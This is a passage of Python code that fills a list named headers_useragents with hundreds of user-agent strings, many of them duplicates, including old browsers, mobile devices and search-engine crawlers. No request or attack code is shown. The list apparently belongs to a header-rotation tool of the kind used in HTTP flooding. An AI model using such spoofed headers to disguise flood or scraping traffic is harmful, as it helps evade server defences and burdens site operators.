  2174.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2175.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2176.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2177.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2178.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2179.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2180.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2181.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2182.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2183.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2184.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2185.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2186.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2189.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2190.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2192.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2193.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2196.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2197.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2198.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2199.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2200.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2201.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2202.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2203.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2204.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2205.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2206.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2208.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2209.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2210.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2211.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2212.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2213.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2214.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2215.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2216.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2217.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2218.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2219.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2221.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2222.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2223.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2224.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2225.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2226.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2227.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2228.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2229.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2230.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2231.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2232.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2233.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2234.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2235.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2236.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2237.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2238.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2239.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2240.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2241.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2242.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2243.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2244.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2245.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2246.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2247.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2248.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2249.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2250.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2251.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2252.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2253.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2254.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2255.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2256.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2257.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2258.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2259.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2260.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2261.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2262.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2263.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2264.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2265.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2266.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2268.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2269.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2270.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2271.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2272.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2273.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2274.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2275.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2276.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2277.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2278.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2279.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2280.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2281.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2282.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2283.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2284.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2285.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2286.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2287.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2288.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2289.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2290.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2291.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2292.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2293.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2294.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2295.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2296.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2297.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2298.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2299.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2300.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2301.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2302.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2303.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2304.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2305.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2306.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2307.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2308.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2309.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2310.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2311.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2312.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2313.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2314.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2315.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2316.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2317.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2318.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2319.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2320.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2321.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2322.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2323.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2324.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2325.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2326.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2327.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2328.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2329.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2330.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2331.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2332.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2333.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2334.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2335.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2336.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2337.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2338.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2339.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2340.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2341.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2342.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2343.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2344.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2345.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2346.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2347.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2348.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2349.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2350.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2351.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2352.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2353.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2354.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2355.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2356.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2357.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2358.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2359.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2360.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2361.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2362.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2363.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
